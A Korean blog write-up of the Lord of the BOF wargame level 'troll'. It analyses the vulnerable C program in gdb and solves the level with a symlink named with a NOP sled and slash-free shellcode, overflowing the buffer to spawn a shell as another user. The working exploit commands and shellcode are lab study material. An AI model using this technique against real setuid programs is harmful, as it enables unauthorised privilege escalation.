LOB orge => troll

c0wb3ll ㅣ 2020. 3. 24. 01:49

LOB orge => troll

문제

[orge@localhost orge]$ cat troll.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - troll
        - check argc + argv hunter
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
    char buffer[40];
    int i;

    // here is changed
    if(argc != 2){
        printf("argc must be two!\n");
        exit(0);
    }

    // egghunter 
    for(i=0; environ[i]; i++)
        memset(environ[i], 0, strlen(environ[i]));

    if(argv[1][47] != '\xbf')
    {
        printf("stack is still your friend.\n");
        exit(0);
    }

    // check the length of argument
    if(strlen(argv[1]) > 48){
        printf("argument is too long!\n");
        exit(0);
    }

    strcpy(buffer, argv[1]); 
    printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);

    // one more!
    memset(argv[1], 0, strlen(argv[1]));
}
[orge@localhost orge]$ 

이번 소스 코드에서는 인자가 2개가 아닐 경우 프로그램을 강제 종료하는 부분과 argv[1]의 메모리도 초기화 시켜버리는 부분이 추가되었다. 또한 이러한 상태에서 스택을 이용하여 쉘을 따라고 한다.


풀이

스택에서 쓸만한 부분은 다 초기화 시켜두고 쉘을 따라니 도대체 어떻게 하라는 것인가...? 하고 의문을 가진 와중 곰곰이 생각했을 때 아직 초기화 되지 않은 부분이 있었다. 바로 argv[0] 파일을 실행시키기 위한 첫번째 인자이다. 파일 이름으로 쉘코드를 올려놓고 심볼릭 링크를 이용하여 프로그램을 실행하면 어찌저찌 되지 않을까..? 분석을 하기 위해 tmp 폴더에 troll을 옮겨준 뒤 분석을 하였다.

(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
--- 생략 ---
---Type <return> to continue, or q <return> to quit---
--- 생략 ---
---Type <return> to continue, or q <return> to quit---
0x8048632 <main+306>:    mov    %edx,DWORD PTR [%eax]
0x8048634 <main+308>:    push   %edx
0x8048635 <main+309>:    call   0x8048430 <memset>
0x804863a <main+314>:    add    %esp,12
0x804863d <main+317>:    leave  
0x804863e <main+318>:    ret    
0x804863f <main+319>:    nop    
End of assembler dump.
(gdb) 

main과 main+317부분에 bp를 걸고 분석을 해보자.

(gdb) b*main
Breakpoint 1 at 0x8048500
(gdb) r `python -c "print '\xbf'*48"`
Starting program: /home/orge/tmp/troll `python -c "print '\xbf'*48"`

Breakpoint 1, 0x8048500 in main ()
(gdb) x/10000s $esp
--- 생략 ---
0xbffffc0a:     "i686"
0xbffffc0f:     "/home/orge/tmp/troll"
0xbffffc24:     '? <repeats 48 times>
0xbffffc55:     "LESSOPEN=|/usr/bin/lesspipe.sh %s"
0xbffffc77:     "USERNAME="
0xbffffc81:     "HISTSIZE=1000"
0xbffffc8f:     "HOSTNAME=localhost.localdomain"
0xbffffcae:     "LOGNAME=orge"
0xbffffcbb:     "REMOTEHOST=192.168.193.1"
0xbffffcd4:     "MAIL=/var/spool/mail/orge"
0xbffffcee:     "MACHTYPE=i386-redhat-linux-gnu"
0xbffffd0d:     "TERM=xterm"
0xbffffd18:     "HOSTTYPE=i386"
0xbffffd26:     "PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/orge/bin"
0xbffffd66:     "OLDPWD=/home/orge"
0xbffffd78:     "HOME=/home/orge"
0xbffffd88:     "INPUTRC=/etc/inputrc"
0xbffffd9d:     "SHELL=/bin/bash"
0xbffffdad:     "USER=orge"
0xbffffdb7:     "BASH_ENV=/home/orge/.bashrc"
0xbffffdd3:     "DISPLAY=192.168.193.1:0.0"
0xbffffded:     "LANG=en_US"
0xbffffdf8:     "OSTYPE=linux-gnu"
0xbffffe09:     "PWD=/home/orge/tmp"
0xbffffe1c:     "SHLVL=2"
0xbffffe24:     "LS_COLORS=no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:bd=40;33;01:cd=40;33;01:or=0
---Type <return> to continue, or q <return> to quit---

<main+0>

(gdb) b*main+317
Breakpoint 2 at 0x804863d
(gdb) c
Continuing.
옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜

Breakpoint 2, 0x804863d in main ()
(gdb) x/10000s $esp
--- 생략 ---
0xbffffc0a:     "i686"
0xbffffc0f:     "/home/orge/tmp/troll"
0xbffffc24:     ""
0xbffffc25:     ""
0xbffffc26:     ""
0xbffffc27:     ""
0xbffffc28:     ""
0xbffffc29:     ""
0xbffffc2a:     ""
0xbffffc2b:     ""
0xbffffc2c:     ""
0xbffffc2d:     ""
0xbffffc2e:     ""
0xbffffc2f:     ""
0xbffffc30:     ""
0xbffffc31:     ""
0xbffffc32:     ""
0xbffffc33:     ""
0xbffffc34:     ""
0xbffffc35:     ""
0xbffffc36:     ""
0xbffffc37:     ""
0xbffffc38:     ""
0xbffffc39:     ""
0xbffffc3a:     ""
0xbffffc3b:     ""
0xbffffc3c:     ""
0xbffffc3d:     ""
0xbffffc3e:     ""
0xbffffc3f:     ""
0xbffffc40:     ""
0xbffffc41:     ""

<main+317>

보면 예상했던 대로 argv[0] 부분인 0xbffffc0f는 초기화 되지 않았다.

[orge@localhost tmp]$ /bin/bash2 
[orge@localhost tmp]$ ln -s troll `python -c "print '\x90'*100 + '\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81'"`

그럼 이제 이렇게 파일 이름이 NOP과 쉘코드로 구성된 심볼릭 링크를 생성해주면 된다. 다만 여기서 유의할 점은 \x2f 즉 "/"가 쉘코드에 섞여있으면 안된다. 그 이유는 쉘코드에 경로를 설정하는 문자열 "/"이 섞여있으면 실행해야할 파일의 경로를 정확히 인식할 수 없기 때문이다. 따라서 \x2f가 없는 쉘코드를 사용하자.

[orge@localhost tmp]$ ./`python -c "print '\x90'*100 + '\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81 ' + 'A'*44+'\x21\xfc\xff\xbf'"`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!?
Segmentation fault (core dumped)
[orge@localhost tmp]$ 

제대로 심볼릭 링크가 생성되었으면 실행해보자. 세그먼트 오류가 났지만 그래도 기쁘다. 왜냐하면 gdb로 디버깅 할 때 올라가는 메모리와 실제 메모리에는 차이가 있기 때문에 생성된 코어파일만 분석하면 제대로 쉘이 따질 것이다.

[orge@localhost tmp]$ gdb -c -q core
Core was generated by `./?????????????????????????????????????????????????????????????????????????????'.
Program terminated with signal 11, Segmentation fault.
#0  0xbfffffd2 in ?? ()
(gdb) x/100wx $esp
0xbffff940:    0x00000000    0xbffff984    0xbffff990    0x40013868
0xbffff950:    0x00000002    0x08048450    0x00000000    0x08048471
0xbffff960:    0x08048500    0x00000002    0xbffff984    0x08048390
0xbffff970:    0x0804866c    0x4000ae60    0xbffff97c    0x40013e90
0xbffff980:    0x00000002    0xbffffa84    0xbffffb1b    0x00000000
0xbffff990:    0xbffffb4c    0xbffffb5f    0xbffffb78    0xbffffb97
0xbffff9a0:    0xbffffbb9    0xbffffbc3    0xbffffd86    0xbffffda5
0xbffff9b0:    0xbffffdbf    0xbffffdd4    0xbffffdf0    0xbffffdfb
0xbffff9c0:    0xbffffe15    0xbffffe22    0xbffffe2a    0xbffffe34
0xbffff9d0:    0xbffffe44    0xbffffe52    0xbffffe60    0xbffffe71
0xbffff9e0:    0xbffffe7c    0xbffffe8c    0xbffffecc    0x00000000
0xbffff9f0:    0x00000003    0x08048034    0x00000004    0x00000020
0xbffffa00:    0x00000005    0x00000006    0x00000006    0x00001000
0xbffffa10:    0x00000007    0x40000000    0x00000008    0x00000000
0xbffffa20:    0x00000009    0x08048450    0x0000000b    0x000001fb
0xbffffa30:    0x0000000c    0x000001fb    0x0000000d    0x000001fb
0xbffffa40:    0x0000000e    0x000001fb    0x00000010    0x0f8bfbff
0xbffffa50:    0x0000000f    0xbffffa7f    0x00000000    0x00000000
0xbffffa60:    0x00000000    0x00000000    0x00000000    0x00000000
0xbffffa70:    0x00000000    0x00000000    0x00000000    0x69000000
0xbffffa80:    0x00363836    0x90902f2e    0x90909090    0x90909090
0xbffffa90:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffffaa0:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffffab0:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffffac0:    0x90909090    0x90909090    0x90909090    0x90909090
(gdb) q
[orge@localhost tmp]$ ./`python -c "print '\x90'*100 + '\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81 ' + 'A'*44+'\xa0\xfa\xff\xbf'"`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA??
bash$ id
uid=507(orge) gid=507(orge) groups=507(orge)

tmp 디렉토리로 옮긴 troll에서 성공적으로 쉘을 땃다. 그럼 이제 본 파일에서 다시 반복해주자.

[orge@localhost orge]$ ln -s troll `python -c "print '\x90'*100+'\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81'"`
[orge@localhost orge]$ ./`python -c "print '\x90'*100 + '\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81 ' + 'A'*44+'\xa0\xfa\xff\xbf'"`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA??
bash$ id
uid=507(orge) gid=507(orge) euid=508(troll) egid=508(troll) groups=507(orge)